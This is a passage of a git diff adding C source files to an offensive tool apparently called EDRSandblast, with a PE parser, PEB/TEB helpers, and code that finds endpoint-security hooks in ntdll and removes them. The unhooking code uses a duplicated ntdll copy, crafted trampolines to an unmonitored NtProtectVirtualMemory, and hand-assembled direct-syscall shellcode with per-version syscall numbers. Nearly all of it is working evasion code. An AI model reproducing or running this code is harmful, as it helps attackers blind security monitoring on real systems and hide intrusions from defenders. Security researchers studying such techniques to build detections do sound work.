(uintptr_t)ptr->DllBase) < distance) { + distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase); + closest = ptr; + } + } + return closest; +} + + +/* + Returns the next module entry in the InLoadOrderModuleList + Assumes : curr is a ptr to a module entry in the list or NULL + Returns : + * if curr is non-NULL: + * A pointer to the next entry in the list, or + * A NULL pointer, if end of the list is reached + * if curr is NULL + * A pointer to the first element of the list +*/ +LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) { + LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink; + if (curr == NULL) { + return start; + } + LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink; + if (next == start) { + return NULL; + } + return next; +} + +#if _WIN64 +PEB64* getPEB() { + return (PEB64*)__readgsqword(0x60); +} + +TEB64* getTEB() { + return (TEB64*)__readgsqword(0x30); +} +#else +PEB* getPEB() { + return (PEB*)__readfsdword(0x30); +} + +TEB* getTEB() { + return (TEB*)__readfsdword(0x18); +} +#endif \ No newline at end of file diff --git a/EDRSandblast/Userland/PEParser.c b/EDRSandblast/Userland/PEParser.c new file mode 100644 index 0000000..ec5fd41 --- /dev/null +++ b/EDRSandblast/Userland/PEParser.c @@ -0,0 +1,363 @@ +#include "PEParser.h" +#include +#include + +IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) { + IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders; + for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) { + DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress; + DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize; + if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) { + return §ionHeaders[sectionIndex]; + } + } + return NULL; +} + +/* +Get the next section header having the given memory access permissions, after the provided section headers "prev". +Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable. +Returns NULL if no section header is found. +*/ +IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) { + IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders; + DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders); + for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) { + DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics; + if (readable != 0) { + if (sectionCharacteristics & IMAGE_SCN_MEM_READ) { + if (readable == -1) { + continue; + } + } + else { + if (readable == 1) { + continue; + } + } + } + if (writable != 0) { + if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) { + if (writable == -1) { + continue; + } + } + else { + if (writable == 1) { + continue; + } + } + } + if (executable != 0) { + if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) { + if (executable == -1) { + continue; + } + } + else { + if (executable == 1) { + continue; + } + } + } + return §ionHeaders[sectionIndex]; + } + return NULL; +} + + +PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) { + PVOID peBase = pe->dosHeader; + if (pe->isMemoryMapped) { + return (PBYTE)peBase + rva; + } + + IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva); + if (NULL == rvaSectionHeader) { + return NULL; + } + else { + return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress); + } +} + +DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) { + for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) { + DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress; + DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize; + PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA); + if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) { + intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr); + assert(relativeOffset <= MAXDWORD); + return sectionVA + (DWORD)relativeOffset; + } + } + return 0; +} + + +VOID PE_parseRelocations(PE* pe) { + IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); + IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks; + IMAGE_BASE_RELOCATION* nextRelocationBlockPtr; + pe->nbRelocations = 0; + DWORD relocationsLength = 16; + pe->relocations = calloc(relocationsLength, sizeof(PE_relocation)); + if (NULL == pe->relocations) + exit(1); + + while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) { + IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1]; + nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock); + while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) { + DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset; + if (pe->nbRelocations >= relocationsLength) { + relocationsLength *= 2; + void* pe_relocations = pe->relocations; + assert(NULL != pe_relocations); + pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation)); + assert(NULL != pe->relocations); + } + pe->relocations[pe->nbRelocations].RVA = relocationRVA; + pe->relocations[pe->nbRelocations].Type = relocationEntry->Type; + pe->nbRelocations++; + relocationEntry++; + } + relocationBlockPtr = nextRelocationBlockPtr; + } + void* pe_relocations = pe->relocations; + assert(pe_relocations != NULL); + pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation)); + if (NULL == pe->relocations) + exit(1); +} + +VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress) +{ + DWORD* relocDwAddress; + QWORD* relocQwAddress; + + if (pe->isMemoryMapped) { + printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n"); + return; + } + if (NULL == pe->relocations) { + PE_parseRelocations(pe); + } + assert(pe->relocations != NULL); + PVOID oldBaseAddress = pe->baseAddress; + pe->baseAddress = newBaseAddress; + for (DWORD i = 0; i < pe->nbRelocations; i++) { + switch (pe->relocations[i].Type) { + case IMAGE_REL_BASED_ABSOLUTE: + break; + case IMAGE_REL_BASED_HIGHLOW: + relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA); + intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); + assert(relativeOffset <= MAXDWORD); + *relocDwAddress += (DWORD)relativeOffset; + break; + case IMAGE_REL_BASED_DIR64: + relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA); + *relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress); + break; + default: + printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type); + exit(1); + } + } + return; +} + +PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) { + PE* pe = calloc(1, sizeof(PE)); + if (NULL == pe) { + exit(1); + } + pe->isMemoryMapped = isMemoryMapped; + pe->isInAnotherAddressSpace = FALSE; + pe->hProcess = INVALID_HANDLE_VALUE; + pe->dosHeader = imageBase; + pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew); + pe->optHeader = &pe->ntHeader->OptionalHeader; + if (isMemoryMapped) { + pe->baseAddress = imageBase; + } + else { + pe->baseAddress = (PVOID)pe->optHeader->ImageBase; + } + pe->dataDir = pe->optHeader->DataDirectory; + pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader); + DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + if (exportRVA == 0) { + pe->exportDirectory = NULL; + pe->exportedNames = NULL; + pe->exportedFunctions = NULL; + pe->exportedOrdinals = NULL; + } + else { + pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA); + pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames); + pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions); + pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals); + pe->exportedNamesLength = pe->exportDirectory->NumberOfNames; + } + pe->relocations = NULL; + return pe; +} + +PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) { + PE* pe = calloc(1, sizeof(PE)); + if (NULL == pe) { + exit(1); + } + pe->isMemoryMapped = TRUE; + pe->hProcess = hProcess; + pe->isInAnotherAddressSpace = TRUE; + pe->baseAddress = imageBase; + pe->dosHeader = imageBase; + DWORD ntHeaderPtrAddress = 0; + ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL); + pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress); + pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader); + pe->dataDir = pe->optHeader->DataDirectory; + WORD sizeOfOptionnalHeader = 0; + ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL); + pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader); + DWORD exportRVA = 0; + ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL); + if (exportRVA == 0) { + pe->exportDirectory = NULL; + pe->exportedNames = NULL; + pe->exportedFunctions = NULL; + pe->exportedOrdinals = NULL; + } + else { + pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA); + + DWORD AddressOfNames = 0; + ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL); + pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames); + + DWORD AddressOfFunctions = 0; + ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL); + pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions); + + DWORD AddressOfNameOrdinals = 0; + ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL); + pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals); + + ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL); + } + pe->relocations = NULL; + return pe; +} + + +DWORD PE_functionRVA(PE* pe, LPCSTR functionName) { + IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory; + LPDWORD exportedNames = pe->exportedNames; + LPDWORD exportedFunctions = pe->exportedFunctions; + LPWORD exportedNameOrdinals = pe->exportedOrdinals; + + DWORD nameOrdinal_low = 0; + LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]); + DWORD nameOrdinal_high = exportDirectory->NumberOfNames; + DWORD nameOrdinal_mid; + LPCSTR exportName_mid; + + while (nameOrdinal_high - nameOrdinal_low > 1) { + nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2; + exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]); + if (strcmp(exportName_mid, functionName) > 0) { + nameOrdinal_high = nameOrdinal_mid; + } + else { + nameOrdinal_low = nameOrdinal_mid; + exportName_low = exportName_mid; + } + } + if (!strcmp(exportName_low, functionName)) + return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]]; + return 0; +} + +PVOID PE_functionAddr(PE* pe, LPCSTR functionName) { + DWORD functionRVA = PE_functionRVA(pe, functionName); + return PE_RVA_to_Addr(pe, functionRVA); +} + +PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) { + for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) { + DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress; + DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize; + if ((size_t)sectionSize < patternSize) { + continue; + } + assert(patternSize <= MAXDWORD); + DWORD endSize = sectionSize - (DWORD)patternSize; + for (DWORD offset = 0; offset < endSize; offset++) { + PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset); + if (!memcmp(ptr, pattern, patternSize)) { + return ptr; + } + } + } + return NULL; +} + +PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) { + signed long long int maximum; + signed long long int minimum; + + switch (relativeReferenceSize) + { + case 1: + minimum = MININT8; + maximum = MAXINT8; + break; + case 2: + minimum = MININT16; + maximum = MAXINT16; + break; + case 4: + minimum = MININT32; + maximum = MAXINT32; + break; + default: + minimum = 0; + maximum = 0; + break; + } + for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) { + DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress; + DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize; + DWORD targetRVA = PE_Addr_to_RVA(pe, target); + //TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize) + for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) { + switch (relativeReferenceSize) { + case 1: + if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) { + return PE_RVA_to_Addr(pe, rva); + } + break; + case 2: + if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) { + return PE_RVA_to_Addr(pe, rva); + } + break; + case 4: + if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) { + return PE_RVA_to_Addr(pe, rva); + } + break; + default: + minimum = 0; + maximum = 0; + break; + } + } + + } + return NULL; +} \ No newline at end of file diff --git a/EDRSandblast/Userland/UserlandHooks.c b/EDRSandblast/Userland/UserlandHooks.c new file mode 100644 index 0000000..4267073 --- /dev/null +++ b/EDRSandblast/Userland/UserlandHooks.c @@ -0,0 +1,673 @@ +// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there. +// + +#include "UserlandHooks.h" + +#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0) + +// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths +#if _WIN64 +#define PATCH_MAX_SIZE 0x18 +#else +#define PATCH_MAX_SIZE 0x10 +#endif + +int debugf(const char* fmt, ...) { +#if _DEBUG + va_list args; + va_start(args, fmt); + int res = vprintf(fmt, args); + va_end(args); + return res; +#else + fmt = 0; + return 0; +#endif +} + + +/* +* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len". +* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ +*/ +PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) { + for (size_t i = 0; i < len; i++) { + if (mem[i] != disk[i]) { + size_t patchStartIndex = i; + if (NULL != lenPatch) { + while (mem[i] != disk[i] && i < len) { + i++; + } + *lenPatch = i - patchStartIndex; + } + return &mem[patchStartIndex]; + } + } + if (NULL != lenPatch) { + *lenPatch = 0; + } + return NULL; +} + +/* +* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan". +* The list is a NULL-terminated array of "diff" elements +*/ +diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) { + size_t diffSize; + PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); + DWORD diffsListLen = 4; + size_t diffsListI = 0; + diff* diffsList = malloc(diffsListLen * sizeof(diff)); + if (NULL == diffsList) { + debugf("bug in malloc in findDiffsInRange\n"); + exit(1); + } + + while (diffAddr != NULL && sizeToScan != 0) { + debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize); + searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); + sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem); + searchStartMem = (BYTE*)diffAddr + diffSize; + diffsList[diffsListI].mem_ptr = diffAddr; + diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize; + diffsList[diffsListI].size = diffSize; + diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize); + diffsListI++; + if (diffsListI >= diffsListLen) { + diffsListLen *= 2; + diffsList = realloc(diffsList, diffsListLen * sizeof(diff)); + if (NULL == diffsList) { + debugf("bug in realloc in findDiffsInRange\n"); + exit(1); + } + } + } + + diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff)); + if (NULL == diffsList) { + debugf("bug in realloc in findDiffsInRange\n"); + exit(1); + } + diffsList[diffsListI].mem_ptr = NULL; + diffsList[diffsListI].disk_ptr = NULL; + diffsList[diffsListI].size = 0; + return diffsList; +} + +/* +* Returns the list of differences between the content of a PE on disk and the content of its version in memory. +* Only read-only sections are compared, since writable sections will obviously contain differences. +* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences +*/ +diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) { + diff* list = NULL; + for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0); + nonWritableSection != NULL; + nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) { + debugf("Diffs in section %s:\n", nonWritableSection->Name); + DWORD sectionRVA = nonWritableSection->VirtualAddress; + LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA); + LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA); + LPVOID searchStartMem = sectionAddrMem; + LPVOID searchStartDisk = sectionAddrDisk; + DWORD remainingSize = nonWritableSection->Misc.VirtualSize; + + list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize); + } + return list; +} + + +/* +* Dumps the full content of a single file, in a newly allocated buffer +*/ +PBYTE readFullFileW(LPCWSTR fileName) { + HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + return NULL; + } + DWORD fileSize = GetFileSize(hFile, NULL); + PBYTE fileContent = malloc(fileSize); + DWORD bytesRead = 0; + if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) { + free(fileContent); + fileContent = NULL; + } + CloseHandle(hFile); + return fileContent; +} + + + +/* +* Checks is a file extists (and is not a directory) +*/ +BOOL FileExistsW(LPCWSTR szPath) +{ + DWORD dwAttrib = GetFileAttributesW(szPath); + + return (dwAttrib != INVALID_FILE_ATTRIBUTES && + !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); +} + +/* +* Looks for a memory needle in a memory haystack +*/ +PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len) +{ + if (!haystack) + return NULL; + if (!haystack_len) + return NULL; + if (!needle) + return NULL; + if (!needle_len) + return NULL; + PBYTE h = haystack; + while (haystack_len >= needle_len) + { + if (!memcmp(h, needle, needle_len)) + return h; + ++h; + --haystack_len; + } + return NULL; +} + +/* +* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget +*/ +PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget) +{ + SIZE_T haystack_len; + PVOID haystack; + PBYTE patternInExecutableMemory; + MEMORY_BASIC_INFORMATION mbi = { 0 }; + + for (PBYTE addr = 0; ; addr += mbi.RegionSize) + { + if (!VirtualQuery(addr, &mbi, sizeof(mbi))) { + break; + } + + if (mbi.State != MEM_COMMIT) { + continue; + } + if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) { + continue; + } + haystack = mbi.BaseAddress; + haystack_len = mbi.RegionSize; + while (haystack_len) + { + patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize); + if (!patternInExecutableMemory) { + break; + } + if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) { + return patternInExecutableMemory; + } + haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack; + haystack = patternInExecutableMemory + 1; + } + } + return NULL; +} + + +VOID unhook(hook* hook, DWORD unhook_method) { + if (unhook_method == UNHOOK_NONE) { + return; + } + + const WCHAR* ntdlolFileName = L".\\ntdlol.txt"; + WCHAR ntdllFilePath[MAX_PATH] = { 0 }; + WCHAR ntdlolFilePath[MAX_PATH] = { 0 }; + HANDLE secondNtdll = INVALID_HANDLE_VALUE; + PE* ntdll_mem = NULL; + PE* ntdll_disk = NULL; + getNtdllPEs(&ntdll_mem, &ntdll_disk); + + diff* patches = hook->list_patches; + //merge every small patches into 1 patch to perform a single write + diff patch = patches[0]; + int nb_patches = 0; + while (patches[nb_patches].size) { + nb_patches++; + } + diff lastPatch = patches[nb_patches - 1]; + patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size; + + pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL; + + // Method used to get a NtProtectVirtualMemory function that is safe to use + switch (unhook_method) { + case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY: + // in this case, it is not really "safe" to use + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory"); + break; + + case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: + case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE: + unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method); + break; + + case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: + GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath)); + PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll"); + + GetTempPathW(MAX_PATH, ntdlolFilePath); + PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName); + + CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE); + secondNtdll = LoadLibraryW(ntdlolFilePath); + PE* secondNtdll_pe = PE_create(secondNtdll, TRUE); + + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory"); + break; + case UNHOOK_WITH_DIRECT_SYSCALL: + { + BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 }; + BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 }; + BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 }; + pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion"); + OSVERSIONINFOEXW versionInformation = { 0 }; + RtlGetVersion(&versionInformation); + SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret); + DWORD oldProtect; + PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + PBYTE pShellcode = shellcode; + memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number)); + pShellcode += sizeof(mov_eax_syscall_number); + memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx)); + pShellcode += sizeof(mov_r10_rcx); + memcpy(pShellcode, syscall_ret, sizeof(syscall_ret)); + pShellcode += sizeof(syscall_ret); + DWORD syscallNumber = 0; + + PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory"); + for (int i = 0; i < 0x10; i++ , scanner++) { + PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1); + if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32 + syscallNumber = *pPotentialSycallNumber; + break; + } + } + if (syscallNumber != 0) { + //syscall number found ! + } + else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) { + syscallNumber = 0x50; // win10 + } + else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) { + syscallNumber = 0x4F; // win8.1 / 2012 R2 + } + else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) { + syscallNumber = 0x4E; // win8 / 2012 + } + else if (versionInformation.dwMajorVersion <= 6) { + syscallNumber = 0x4D; // win7 / 2008 R2 & before + } + else { + printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting..."); + exit(EXIT_FAILURE); + } + *((DWORD*)(&shellcode[1])) = syscallNumber; + VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect); + unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode; +#if !_WIN64 + printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting..."); + exit(EXIT_FAILURE); +#else + break; + } +#endif + default: + printf("Unhook method does not exist, exiting..."); + exit(EXIT_FAILURE); + break; + } + + //actually remove the hook + DWORD oldProtect; + PVOID patch_mem_ptr = patch.mem_ptr; + SIZE_T patch_size = patch.size; + NTSTATUS status = unmonitoredNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &patch_mem_ptr, + &patch_size, + PAGE_EXECUTE_READWRITE, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status); + exit(1); + } + + for (size_t i = 0; i < patch.size; i++) { + ((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i]; + } + + status = unmonitoredNtProtectVirtualMemory( + (HANDLE)-1, // GetCurrentProcess() + &patch_mem_ptr, + &patch_size, + oldProtect, + &oldProtect + ); + if (!NT_SUCCESS(status)) { + debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status); + exit(1); + } + + switch (unhook_method) { + case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY: + if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) { + FreeLibrary(secondNtdll); + } + DeleteFileW(ntdlolFilePath); + break; + + } +} + + + +pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) { + PE* ntdllPE_mem = NULL; + PE* ntdllPE_disk = NULL; + getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk); + + PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory"); + PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory"); + + size_t patchSize = 0; + PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize); + + if (patchSize == 0) { + return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory; + } + + if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { + PVOID trampoline = NULL; + trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize); + if (NULL == trampoline) { + debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n"); + exit(1); + } + return (pNtProtectVirtualMemory)trampoline; + } + else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) { + +#if _WIN64 +#define JUMP_SIZE 14 +#else +#define JUMP_SIZE 5 +#endif + PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (NULL == trampoline) { + debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError()); + exit(1); + } + + DWORD oldProtect; + memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize); +#if _WIN64 + * ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp + *((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0] + *((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize); +#else + * (trampoline + patchSize) = 0xE9; //far JMP + *((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE)); +#endif + VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect); + + return (pNtProtectVirtualMemory)trampoline; + } + return NULL; +} + +PVOID 